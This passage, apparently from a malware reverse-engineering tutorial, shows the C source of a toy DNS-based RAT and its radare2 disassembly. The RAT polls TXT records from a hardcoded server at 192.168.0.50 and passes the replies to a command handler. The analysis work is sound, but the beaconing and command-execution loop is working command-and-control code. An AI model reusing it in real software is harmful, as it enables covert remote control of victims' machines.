    }

}

int main()
{
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2,2),&wsa) != 0){
            printf("Failed. Error Code : %d",WSAGetLastError());
            return 1;
    }

    int i = 0;

    // WINSOCK INITIALIZATION
    SOCKET sock;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr) ;
    int port = 53;

    printf("1 - WINSOCK INITIALIZED. \n");

    if((sock = socket(AF_INET , SOCK_DGRAM, IPPROTO_UDP )) == INVALID_SOCKET){
        printf("Could not create socket : %d" , WSAGetLastError());
    }
    printf("2 - WINSOCK SOCKET CREATED. \n");
    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");

    while(1==1){
        printf("Going for round: %d \n",i);
        unsigned char buf[65536],*qname,*reader;
        char host[100]; // DNS QUERY

        printf("DNS RAT UP AND RUNNING \n");

        // ------ DNS QUERY CRAFTING
        strcpy(host, "mark.ab.local");

        struct question *qinfo = NULL;
        struct dns_header *dns = NULL;

        // DNS QUERY HEADERS SETUP
        dns = (struct dns_header *)&buf;
        dns->id = (unsigned short) htons(getpid());
        dns->qr = 0; //This is a query
        dns->opcode = 0; //This is a standard query
        dns->aa = 0; //Not Authoritative
        dns->tc = 0; //This message is not truncated
        dns->rd = 1; //Recursion Desired
        dns->ra = 0; //Recursion not available! hey we dont have it (lol)
        dns->z = 0;
        dns->ad = 0;
        dns->cd = 0;
        dns->rcode = 0;
        dns->q_count = htons(1); //we have only 1 question
        dns->ans_count = 0;
        dns->auth_count = 0;
        dns->add_count = 0;

        // DNS QUESTION
        qname =(unsigned char*)&buf[sizeof(struct dns_header)];
        ChangetoDnsNameFormat(qname , host); // SUBSTITUTE '.' BY LENGTH
        // UPDATE THE QUERY BUFFER
        qinfo =(struct question*)&buf[sizeof(struct dns_header) + (strlen((const char*)qname) + 1)];
        // SET CLASS
        qinfo->type = htons(16); // 1 == 'A', 16 == 'TXT', we ask for TXT registers
        qinfo->tclass = htons(1); // 1 = INTERNET

        // ------ END OF DNS QUERY MAGIC

        if (sendto(sock,(char*)buf,sizeof(struct dns_header) + (strlen((const char*)qname)+1) + sizeof(struct question) , 0 , (struct SOCKADDR *) &ReceiverAddr, slen) == SOCKET_ERROR){
            printf("sendto() failed with error code : %d ", WSAGetLastError());
            exit(EXIT_FAILURE);
        }
        else{
            printf("3 - SENDTO() OK, packet sent\n");
        }

        if (recvfrom(sock, &buf, BUFLEN, 0,0,0) == SOCKET_ERROR){
            printf("error recving : %d" , WSAGetLastError());

        }else{
            printf("4 - RECVFROM() OK, packet received \n"); // joe.ab.local
            reader = &buf[sizeof(struct dns_header) + (strlen((const char*)qname)+1) + sizeof(struct question)];

            if(dns->ans_count > 0){
                int txt_position = 30 + strlen(host)-1;
                int txt_response_len = buf[txt_position];
                char command[txt_response_len];
                strncpy(command,buf + txt_position+1, txt_response_len);
                processCommand(command);
            }
        }

        i +=1;
    }
    WSACleanup();
    printf("WSACLEANUP() OK exiting \n");
    return 0;
}

So, it is similar to the previous one, this time the program uses the DNS TXT query/response flow to ask for and retrieve commands from an eventual command and control server.

The progam basically sends one DNS query after another retrieving commands that will tell about the next actions to do. The program will act according to those commands, let’s disasm:

Here’s the disasm

[0x004017f7]> pdf
/ (fcn) sym.main 1249
|   sym.main (int arg_20h, int arg_10040h, int arg_10042h, int arg_10044h, int arg_10050h, int arg_101f0h, int arg_101f8h, int arg_10200h, int arg_10204h, int arg_10208h, int arg_10210h, int arg_10218h, int arg_10220h, int arg_10228h, int arg_10234h, int arg_10238h, int arg_1023ch, int arg_10248h, int arg_30h, int arg_80h);
|           ; var int local_50h @ rbp-0x50
|           ; var int local_20h @ rsp+0x20
|           ; var int local_28h @ rsp+0x28
|           ; arg int arg_30h @ rsp+0x30
|           ; arg int arg_80h @ rsp+0x80
|           ; CALL XREF from 0x004013c2 (sym.__tmainCRTStartup)
|           0x004017f7      55             push rbp
|           0x004017f8      4155           push r13
|           0x004017fa      4154           push r12
|           0x004017fc      57             push rdi
|           0x004017fd      56             push rsi
|           0x004017fe      53             push rbx
|           0x004017ff      b8c8020100     mov eax, 0x102c8
|           0x00401804      e897190000     call fcn.004031a0
|           0x00401809      4829c4         sub rsp, rax
|           0x0040180c      488dac248000.  lea rbp, [arg_80h]          ; 0x80 ; 128
|           0x00401814      e8b7050000     call sym.__main
|           0x00401819      488d85500001.  lea rax, [arg_10050h]       ; 0x10050
|           0x00401820      4889c2         mov rdx, rax
|           0x00401823      b902020000     mov ecx, 0x202              ; 514
|           0x00401828      488b051d7c00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x40944c:8]=0x97f2 reloc.WS2_32.dll_WSAStartup
|           0x0040182f      ffd0           call rax
|           0x00401831      85c0           test eax, eax
|       ,=< 0x00401833      7421           je 0x401856
|       |   0x00401835      488b05087c00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409444:8]=0x97e0 reloc.WS2_32.dll_WSAGetLastError
|       |   0x0040183c      ffd0           call rax
|       |   0x0040183e      89c2           mov edx, eax
|       |   0x00401840      488d0dc23700.  lea rcx, str.Failed._Error_Code_:__d ; 0x405009 ; "Failed. Error Code : %d"
|       |   0x00401847      e8ec190000     call sym.printf             ; int printf(const char *format)
|       |   0x0040184c      b801000000     mov eax, 1
|      ,==< 0x00401851      e972040000     jmp 0x401cc8
|      ||   ; CODE XREF from 0x00401833 (sym.main)
|      |`-> 0x00401856      c7853c020100.  mov dword [arg_1023ch], 0   ; [0x1023c:4]=0
|      |    0x00401860      c78538020100.  mov dword [arg_10238h], 0x10 ; 16
|      |    0x0040186a      c78534020100.  mov dword [arg_10234h], 0x35 ; '5' ; 53
|      |    0x00401874      488d0da63700.  lea rcx, str.1___WINSOCK_INITIALIZED. ; 0x405021 ; "1 - WINSOCK INITIALIZED. "
|      |    0x0040187b      e8b0190000     call sym.puts               ; int puts(const char *s)
|      |    0x00401880      41b811000000   mov r8d, 0x11               ; 17
|      |    0x00401886      ba02000000     mov edx, 2
|      |    0x0040188b      b902000000     mov ecx, 2
|      |    0x00401890      488b05dd7b00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x409474:8]=0x982a reloc.WS2_32.dll_socket ; "*\x98"
|      |    0x00401897      ffd0           call rax
|      |    0x00401899      488985280201.  mov qword [arg_10228h], rax ; [0x10228:8]=0
|      |    0x004018a0      4883bd280201.  cmp qword [arg_10228h], 0xffffffffffffffff
|      |,=< 0x004018a8      7517           jne 0x4018c1
|      ||   0x004018aa      488b05937b00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409444:8]=0x97e0 reloc.WS2_32.dll_WSAGetLastError
|      ||   0x004018b1      ffd0           call rax
|      ||   0x004018b3      89c2           mov edx, eax
|      ||   0x004018b5      488d0d7f3700.  lea rcx, str.Could_not_create_socket_:__d ; 0x40503b ; "Could not create socket : %d"
|      ||   0x004018bc      e877190000     call sym.printf             ; int printf(const char *format)
|      ||   ; CODE XREF from 0x004018a8 (sym.main)
|      |`-> 0x004018c1      488d0d903700.  lea rcx, str.2___WINSOCK_SOCKET_CREATED. ; 0x405058 ; "2 - WINSOCK SOCKET CREATED. "
|      |    0x004018c8      e863190000     call sym.puts               ; int puts(const char *s)
|      |    0x004018cd      66c785400001.  mov word [arg_10040h], 2    ; [0x10040:2]=0x440
|      |    0x004018d6      8b8534020100   mov eax, dword [arg_10234h] ; [0x10234:4]=0
|      |    0x004018dc      0fb7c0         movzx eax, ax
|      |    0x004018df      89c1           mov ecx, eax
|      |    0x004018e1      488b056c7b00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |    0x004018e8      ffd0           call rax
|      |    0x004018ea      668985420001.  mov word [arg_10042h], ax   ; [0x10042:2]=1
|      |    0x004018f1      488d0d7d3700.  lea rcx, str.192.168.0.50   ; 0x405075 ; "192.168.0.50"
|      |    0x004018f8      488b055d7b00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x40945c:8]=0x9808 reloc.WS2_32.dll_inet_addr
|      |    0x004018ff      ffd0           call rax
|      |    0x00401901      898544000100   mov dword [arg_10044h], eax ; [0x10044:4]=0
|      |    ; CODE XREF from 0x00401cc3 (sym.main)
|      |.-> 0x00401907      8b853c020100   mov eax, dword [arg_1023ch] ; [0x1023c:4]=0
|      |:   0x0040190d      89c2           mov edx, eax
|      |:   0x0040190f      488d0d6c3700.  lea rcx, str.Going_for_round:__d ; 0x405082 ; "Going for round: %d \n"
|      |:   0x00401916      e81d190000     call sym.printf             ; int printf(const char *format)
|      |:   0x0040191b      488d0d763700.  lea rcx, str.DNS_RAT_UP_AND_RUNNING ; 0x405098 ; "DNS RAT UP AND RUNNING "
|      |:   0x00401922      e809190000     call sym.puts               ; int puts(const char *s)
|      |:   0x00401927      488d45b0       lea rax, [local_50h]
|      |:   0x0040192b      48bf6d61726b.  movabs rdi, 0x2e62612e6b72616d
|      |:   0x00401935      488938         mov qword [rax], rdi
|      |:   0x00401938      c740086c6f63.  mov dword [rax + 8], 0x61636f6c ; [0x61636f6c:4]=-1
|      |:   0x0040193f      66c7400c6c00   mov word [rax + 0xc], 0x6c  ; 'l' ; [0x6c:2]=0xffff ; 108
|      |:   0x00401945      48c785200201.  mov qword [arg_10220h], 0   ; [0x10220:8]=0
|      |:   0x00401950      48c785180201.  mov qword [arg_10218h], 0   ; [0x10218:8]=0
|      |:   0x0040195b      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|      |:   0x0040195f      488985180201.  mov qword [arg_10218h], rax ; [0x10218:8]=0
|      |:   0x00401966      e825190000     call sym.getpid             ; int getpid(void)
|      |:   0x0040196b      0fb7c0         movzx eax, ax
|      |:   0x0040196e      89c1           mov ecx, eax
|      |:   0x00401970      488b05dd7a00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |:   0x00401977      ffd0           call rax
|      |:   0x00401979      89c2           mov edx, eax
|      |:   0x0040197b      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401982      668910         mov word [rax], dx
|      |:   0x00401985      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x0040198c      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |:   0x00401990      83e27f         and edx, 0x7f
|      |:   0x00401993      885002         mov byte [rax + 2], dl
|      |:   0x00401996      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x0040199d      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |:   0x004019a1      83e287         and edx, 0xffffff87
|      |:   0x004019a4      885002         mov byte [rax + 2], dl
|      |:   0x004019a7      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x004019ae      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |:   0x004019b2      83e2fb         and edx, 0xfffffffb
|      |:   0x004019b5      885002         mov byte [rax + 2], dl
|      |:   0x004019b8      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x004019bf      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |:   0x004019c3      83e2fd         and edx, 0xfffffffd
|      |:   0x004019c6      885002         mov byte [rax + 2], dl
|      |:   0x004019c9      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x004019d0      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |:   0x004019d4      83ca01         or edx, 1
|      |:   0x004019d7      885002         mov byte [rax + 2], dl
|      |:   0x004019da      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x004019e1      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |:   0x004019e5      83e27f         and edx, 0x7f
|      |:   0x004019e8      885003         mov byte [rax + 3], dl
|      |:   0x004019eb      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x004019f2      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |:   0x004019f6      83e2bf         and edx, 0xffffffbf
|      |:   0x004019f9      885003         mov byte [rax + 3], dl
|      |:   0x004019fc      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a03      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |:   0x00401a07      83e2df         and edx, 0xffffffdf
|      |:   0x00401a0a      885003         mov byte [rax + 3], dl
|      |:   0x00401a0d      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a14      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |:   0x00401a18      83e2ef         and edx, 0xffffffef
|      |:   0x00401a1b      885003         mov byte [rax + 3], dl
|      |:   0x00401a1e      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a25      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |:   0x00401a29      83e2f0         and edx, 0xfffffff0
|      |:   0x00401a2c      885003         mov byte [rax + 3], dl
|      |:   0x00401a2f      b901000000     mov ecx, 1
|      |:   0x00401a34      488b05197a00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |:   0x00401a3b      ffd0           call rax
|      |:   0x00401a3d      89c2           mov edx, eax
|      |:   0x00401a3f      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a46      66895004       mov word [rax + 4], dx
|      |:   0x00401a4a      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a51      66c740060000   mov word [rax + 6], 0
|      |:   0x00401a57      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a5e      66c740080000   mov word [rax + 8], 0
|      |:   0x00401a64      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|      |:   0x00401a6b      66c7400a0000   mov word [rax + 0xa], 0
|      |:   0x00401a71      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|      |:   0x00401a75      4883c00c       add rax, 0xc
|      |:   0x00401a79      488985100201.  mov qword [arg_10210h], rax ; [0x10210:8]=0
|      |:   0x00401a80      488d45b0       lea rax, [local_50h]
|      |:   0x00401a84      488b8d100201.  mov rcx, qword [arg_10210h] ; [0x10210:8]=0
|      |:   0x00401a8b      4889c2         mov rdx, rax
|      |:   0x00401a8e      e8bdfaffff     call sym.ChangetoDnsNameFormat
|      |:   0x00401a93      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|      |:   0x00401a9a      4889c1         mov rcx, rax
|      |:   0x00401a9d      e876170000     call sym.strlen             ; size_t strlen(const char *s)
|      |:   0x00401aa2      488d500d       lea rdx, [rax + 0xd]        ; 13
|      |:   0x00401aa6      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|      |:   0x00401aaa      4801d0         add rax, rdx                ; '('
|      |:   0x00401aad      488985200201.  mov qword [arg_10220h], rax ; [0x10220:8]=0
|      |:   0x00401ab4      b910000000     mov ecx, 0x10               ; 16
|      |:   0x00401ab9      488b05947900.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |:   0x00401ac0      ffd0           call rax
|      |:   0x00401ac2      89c2           mov edx, eax
|      |:   0x00401ac4      488b85200201.  mov rax, qword [arg_10220h] ; [0x10220:8]=0
|      |:   0x00401acb      668910         mov word [rax], dx
|      |:   0x00401ace      b901000000     mov ecx, 1
|      |:   0x00401ad3      488b057a7900.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |:   0x00401ada      ffd0           call rax
|      |:   0x00401adc      89c2           mov edx, eax
|      |:   0x00401ade      488b85200201.  mov rax, qword [arg_10220h] ; [0x10220:8]=0
|      |:   0x00401ae5      66895002       mov word [rax + 2], dx
|      |:   0x00401ae9      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|      |:   0x00401af0      4889c1         mov rcx, rax
|      |:   0x00401af3      e820170000     call sym.strlen             ; size_t strlen(const char *s)
|      |:   0x00401af8      83c011         add eax, 0x11
|      |:   0x00401afb      4189c0         mov r8d, eax
|      |:   0x00401afe      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|      |:   0x00401b02      488b8d280201.  mov rcx, qword [arg_10228h] ; [0x10228:8]=0
|      |:   0x00401b09      8b9538020100   mov edx, dword [arg_10238h] ; [0x10238:4]=0
|      |:   0x00401b0f      89542428       mov dword [local_28h], edx
|      |:   0x00401b13      488d95400001.  lea rdx, [arg_10040h]       ; 0x10040
|      |:   0x00401b1a      4889542420     mov qword [local_20h], rdx
|      |:   0x00401b1f      41b900000000   mov r9d, 0
|      |:   0x00401b25      4889c2         mov rdx, rax
|      |:   0x00401b28      488b053d7900.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x40946c:8]=0x9820 reloc.WS2_32.dll_sendto ; " \x98"
|      |:   0x00401b2f      ffd0           call rax
|      |:   0x00401b31      83f8ff         cmp eax, 0xffffffffffffffff
|     ,===< 0x00401b34      7521           jne 0x401b57
|     ||:   0x00401b36      488b05077900.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409444:8]=0x97e0 reloc.WS2_32.dll_WSAGetLastError
|     ||:   0x00401b3d      ffd0           call rax
|     ||:   0x00401b3f      89c2           mov edx, eax
|     ||:   0x00401b41      488d0d683500.  lea rcx, str.sendto___failed_with_error_code_:__d ; 0x4050b0 ; "sendto() failed with error code : %d "
|     ||:   0x00401b48      e8eb160000     call sym.printf             ; int printf(const char *format)
|     ||:   0x00401b4d      b901000000     mov ecx, 1
|     ||:   0x00401b52      e811170000     call sym.exit
|     ||:   ; CODE XREF from 0x00401b34 (sym.main)
|     `---> 0x00401b57      488d0d783500.  lea rcx, str.3___SENDTO___OK__packet_sent ; 0x4050d6 ; "3 - SENDTO() OK, packet sent"
|      |:   0x00401b5e      e8cd160000     call sym.puts               ; int puts(const char *s)
|      |:   0x00401b63      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|      |:   0x00401b67      488b8d280201.  mov rcx, qword [arg_10228h] ; [0x10228:8]=0
|      |:   0x00401b6e      48c744242800.  mov qword [local_28h], 0
|      |:   0x00401b77      48c744242000.  mov qword [local_20h], 0
|      |:   0x00401b80      41b900000000   mov r9d, 0
|      |:   0x00401b86      41b800000100   mov r8d, 0x10000
|      |:   0x00401b8c      4889c2         mov rdx, rax
|      |:   0x00401b8f      488b05ce7800.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x409464:8]=0x9814 reloc.WS2_32.dll_recvfrom
|      |:   0x00401b96      ffd0           call rax
|      |:   0x00401b98      83f8ff         cmp eax, 0xffffffffffffffff
|     ,===< 0x00401b9b      751c           jne 0x401bb9
|     ||:   0x00401b9d      488b05a07800.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409444:8]=0x97e0 reloc.WS2_32.dll_WSAGetLastError
|     ||:   0x00401ba4      ffd0           call rax
|     ||:   0x00401ba6      89c2           mov edx, eax
|     ||:   0x00401ba8      488d0d443500.  lea rcx, str.error_recving_:__d ; 0x4050f3 ; "error recving : %d"
|     ||:   0x00401baf      e884160000     call sym.printf             ; int printf(const char *format)
|    ,====< 0x00401bb4      e903010000     jmp 0x401cbc
|    |||:   ; CODE XREF from 0x00401b9b (sym.main)
|    |`---> 0x00401bb9      488d0d483500.  lea rcx, str.4___RECVFROM___OK__packet_received ; 0x405108 ; "4 - RECVFROM() OK, packet received "
|    | |:   0x00401bc0      e86b160000     call sym.puts               ; int puts(const char *s)
|    | |:   0x00401bc5      488b85100201.  mov rax, qword [arg_10210h] ; [0x10210:8]=0
|    | |:   0x00401bcc      4889c1         mov rcx, rax
|    | |:   0x00401bcf      e844160000     call sym.strlen             ; size_t strlen(const char *s)
|    | |:   0x00401bd4      488d5011       lea rdx, [rax + 0x11]       ; 17
|    | |:   0x00401bd8      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|    | |:   0x00401bdc      4801d0         add rax, rdx                ; '('
|    | |:   0x00401bdf      488985080201.  mov qword [arg_10208h], rax ; [0x10208:8]=0
|    | |:   0x00401be6      488b85180201.  mov rax, qword [arg_10218h] ; [0x10218:8]=0
|    | |:   0x00401bed      0fb74006       movzx eax, word [rax + 6]   ; [0x6:2]=0xffff ; 6
|    | |:   0x00401bf1      6685c0         test ax, ax
|    |,===< 0x00401bf4      0f84c2000000   je 0x401cbc
|    |||:   0x00401bfa      4889e0         mov rax, rsp
|    |||:   0x00401bfd      4889c7         mov rdi, rax
|    |||:   0x00401c00      488d45b0       lea rax, [local_50h]
|    |||:   0x00401c04      4889c1         mov rcx, rax
|    |||:   0x00401c07      e80c160000     call sym.strlen             ; size_t strlen(const char *s)
|    |||:   0x00401c0c      83c01d         add eax, 0x1d
|    |||:   0x00401c0f      898504020100   mov dword [arg_10204h], eax ; [0x10204:4]=0
|    |||:   0x00401c15      8b8504020100   mov eax, dword [arg_10204h] ; [0x10204:4]=0
|    |||:   0x00401c1b      4898           cdqe
|    |||:   0x00401c1d      0fb6440520     movzx eax, byte [rbp + rax + 0x20] ; [0x20:1]=255 ; 32
|    |||:   0x00401c22      0fb6c0         movzx eax, al
|    |||:   0x00401c25      898500020100   mov dword [arg_10200h], eax ; [0x10200:4]=0
|    |||:   0x00401c2b      8b8500020100   mov eax, dword [arg_10200h] ; [0x10200:4]=0
|    |||:   0x00401c31      4863d0         movsxd rdx, eax
|    |||:   0x00401c34      4883ea01       sub rdx, 1
|    |||:   0x00401c38      488995f80101.  mov qword [arg_101f8h], rdx ; [0x101f8:8]=0
|    |||:   0x00401c3f      4863d0         movsxd rdx, eax
|    |||:   0x00401c42      4889d3         mov rbx, rdx
|    |||:   0x00401c45      be00000000     mov esi, 0
|    |||:   0x00401c4a      4863d0         movsxd rdx, eax
|    |||:   0x00401c4d      4989d4         mov r12, rdx
|    |||:   0x00401c50      41bd00000000   mov r13d, 0
|    |||:   0x00401c56      4898           cdqe
|    |||:   0x00401c58      4883c00f       add rax, 0xf
|    |||:   0x00401c5c      48c1e804       shr rax, 4
|    |||:   0x00401c60      48c1e004       shl rax, 4
|    |||:   0x00401c64      e837150000     call fcn.004031a0
|    |||:   0x00401c69      4829c4         sub rsp, rax
|    |||:   0x00401c6c      488d442430     lea rax, [arg_30h]          ; 0x30 ; '0' ; 48
|    |||:   0x00401c71      4883c000       add rax, 0
|    |||:   0x00401c75      488985f00101.  mov qword [arg_101f0h], rax ; [0x101f0:8]=0
|    |||:   0x00401c7c      8b8500020100   mov eax, dword [arg_10200h] ; [0x10200:4]=0
|    |||:   0x00401c82      4863c8         movsxd rcx, eax
|    |||:   0x00401c85      8b8504020100   mov eax, dword [arg_10204h] ; [0x10204:4]=0
|    |||:   0x00401c8b      4898           cdqe
|    |||:   0x00401c8d      488d5001       lea rdx, [rax + 1]          ; 1
|    |||:   0x00401c91      488d4520       lea rax, [arg_20h]          ; 0x20 ; 32
|    |||:   0x00401c95      4801c2         add rdx, rax                ; '#'
|    |||:   0x00401c98      488b85f00101.  mov rax, qword [arg_101f0h] ; [0x101f0:8]=0
|    |||:   0x00401c9f      4989c8         mov r8, rcx
|    |||:   0x00401ca2      4889c1         mov rcx, rax
|    |||:   0x00401ca5      e85e150000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|    |||:   0x00401caa      488b85f00101.  mov rax, qword [arg_101f0h] ; [0x101f0:8]=0
|    |||:   0x00401cb1      4889c1         mov rcx, rax
|    |||:   0x00401cb4      e87bf9ffff     call sym.processCommand
|    |||:   0x00401cb9      4889fc         mov rsp, rdi
|    |||:   ; CODE XREF from 0x00401bb4 (sym.main)
|    |||:   ; CODE XREF from 0x00401bf4 (sym.main)
|    ``---> 0x00401cbc      83853c020100.  add dword [arg_1023ch], 1
|      |`=< 0x00401cc3      e93ffcffff     jmp 0x401907
|      |    ; CODE XREF from 0x00401851 (sym.main)
|      `--> 0x00401cc8      488da5480201.  lea rsp, [arg_10248h]       ; 0x10248
|           0x00401ccf      5b             pop rbx
|           0x00401cd0      5e             pop rsi
|           0x00401cd1      5f             pop rdi
|           0x00401cd2      415c           pop r12
|           0x00401cd4      415d           pop r13
|           0x00401cd6      5d             pop rbp
\           0x00401cd7      c3             ret
[0x004017f7]>                                                   

Again, this program is huge and we are not going to go line by line with this. We already know about most of the thing that is going on here, let’s see:

We see a couple of interesting things here:

|      |:   0x00401922      e809190000     call sym.puts               ; int puts(const char *s)
|      |:   0x00401927      488d45b0       lea rax, [local_50h]
|      |:   0x0040192b      48bf6d61726b.  movabs rdi, 0x2e62612e6b72616d
|      |:   0x00401935      488938         mov qword [rax], rdi

|      |    0x004018e1      488b056c7b00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409454:8]=0x9800 reloc.WS2_32.dll_htons
|      |    0x004018e8      ffd0           call rax
|      |    0x004018ea      668985420001.  mov word [arg_10042h], ax   ; [0x10042:2]=1
|      |    0x004018f1      488d0d7d3700.  lea rcx, str.192.168.0.50   ; 0x405075 ; "192.168.0.50"
|      |    0x004018f8      488b055d7b00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x40945c:8]=0x9808 reloc.WS2_32.dll_inet_addr

We see 6d61726b2e61622e == mark.ab. (0x61636f6c = local) and we also see the remote server addr. So now we know we are targeting that through DNS.

One simple approach at this point would be to actually perform the request manually ourselves and inspect the answers, but let’s see how the progam deals with that:

We see the main loop, and at the end we see this function, that seems to receive the TXT answer as parameter:

|    |||:   0x00401caa      488b85f00101.  mov rax, qword [arg_101f0h] ; [0x101f0:8]=0
|    |||:   0x00401cb1      4889c1         mov rcx, rax
|    |||:   0x00401cb4      e87bf9ffff     call sym.processCommand
|    |||:   0x00401cb9      4889fc         mov rsp, rdi

That’ll be a nice place to inspect and set some breakpoints inside:

[0x00401634]> pdf
/ (fcn) sym.processCommand 451
|   sym.processCommand (int arg_40h);

|           ; var int local_80h @ rsp+0x80
|           ; CALL XREF from 0x00401cb4 (sym.main)
|           0x00401634      55             push rbp
|           0x00401635      4157           push r15
|           0x00401637      4156           push r14
|           0x00401639      4155           push r13
|           0x0040163b      4154           push r12
|           0x0040163d      57             push rdi
|           0x0040163e      56             push rsi
|           0x0040163f      53             push rbx
|           0x00401640      4883ec78       sub rsp, 0x78               ; 'x'
|           0x00401644      488dac248000.  lea rbp, [local_80h]        ; 0x80 ; 128
|           0x0040164c      48894d40       mov qword [arg_40h], rcx    ; [0x40:8]=-1 ; '@' ; 64
|           0x00401650      488b4540       mov rax, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|           0x00401654      0fb600         movzx eax, byte [rax]
|           0x00401657      8845ef         mov byte [local_11h], al
|           0x0040165a      807def31       cmp byte [local_11h], 0x31  ; [0x31:1]=255 ; '1' ; 49
|       ,=< 0x0040165e      0f85a5000000   jne 0x401709
|       |   0x00401664      4889e0         mov rax, rsp
|       |   0x00401667      4889c3         mov rbx, rax
|       |   0x0040166a      488b4d40       mov rcx, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|       |   0x0040166e      e8a51b0000     call sym.strlen             ; size_t strlen(const char *s)
|       |   0x00401673      4883e802       sub rax, 2
|       |   0x00401677      4889c2         mov rdx, rax
|       |   0x0040167a      4883ea01       sub rdx, 1
|       |   0x0040167e      488955e0       mov qword [local_20h_2], rdx
|       |   0x00401682      488945a0       mov qword [local_60h], rax
|       |   0x00401686      48c745a80000.  mov qword [local_58h], 0
|       |   0x0040168e      4989c6         mov r14, rax
|       |   0x00401691      41bf00000000   mov r15d, 0
|       |   0x00401697      4883c00f       add rax, 0xf
|       |   0x0040169b      48c1e804       shr rax, 4
|       |   0x0040169f      48c1e004       shl rax, 4
|       |   0x004016a3      e8f81a0000     call fcn.004031a0
|       |   0x004016a8      4829c4         sub rsp, rax
|       |   0x004016ab      488d442420     lea rax, [local_20h]        ; 0x20 ; 32
|       |   0x004016b0      4883c000       add rax, 0
|       |   0x004016b4      488945d8       mov qword [local_28h], rax
|       |   0x004016b8      488b4d40       mov rcx, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|       |   0x004016bc      e8571b0000     call sym.strlen             ; size_t strlen(const char *s)
|       |   0x004016c1      488d48fe       lea rcx, [rax - 2]
|       |   0x004016c5      488b4540       mov rax, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|       |   0x004016c9      488d5002       lea rdx, [rax + 2]          ; 2
|       |   0x004016cd      488b45d8       mov rax, qword [local_28h]
|       |   0x004016d1      4989c8         mov r8, rcx
|       |   0x004016d4      4889c1         mov rcx, rax
|       |   0x004016d7      e82c1b0000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|       |   0x004016dc      488b45d8       mov rax, qword [local_28h]
|       |   0x004016e0      41b930000000   mov r9d, 0x30               ; '0' ; 48
|       |   0x004016e6      4c8d05133900.  lea r8, str.pwned           ; section..rdata ; 0x405000 ; "pwned"
|       |   0x004016ed      4889c2         mov rdx, rax
|       |   0x004016f0      b900000000     mov ecx, 0
|       |   0x004016f5      488b05387d00.  mov rax, qword sym.imp.USER32.dll_MessageBoxA ; [0x409434:8]=0x97d2 reloc.USER32.dll_MessageBoxA
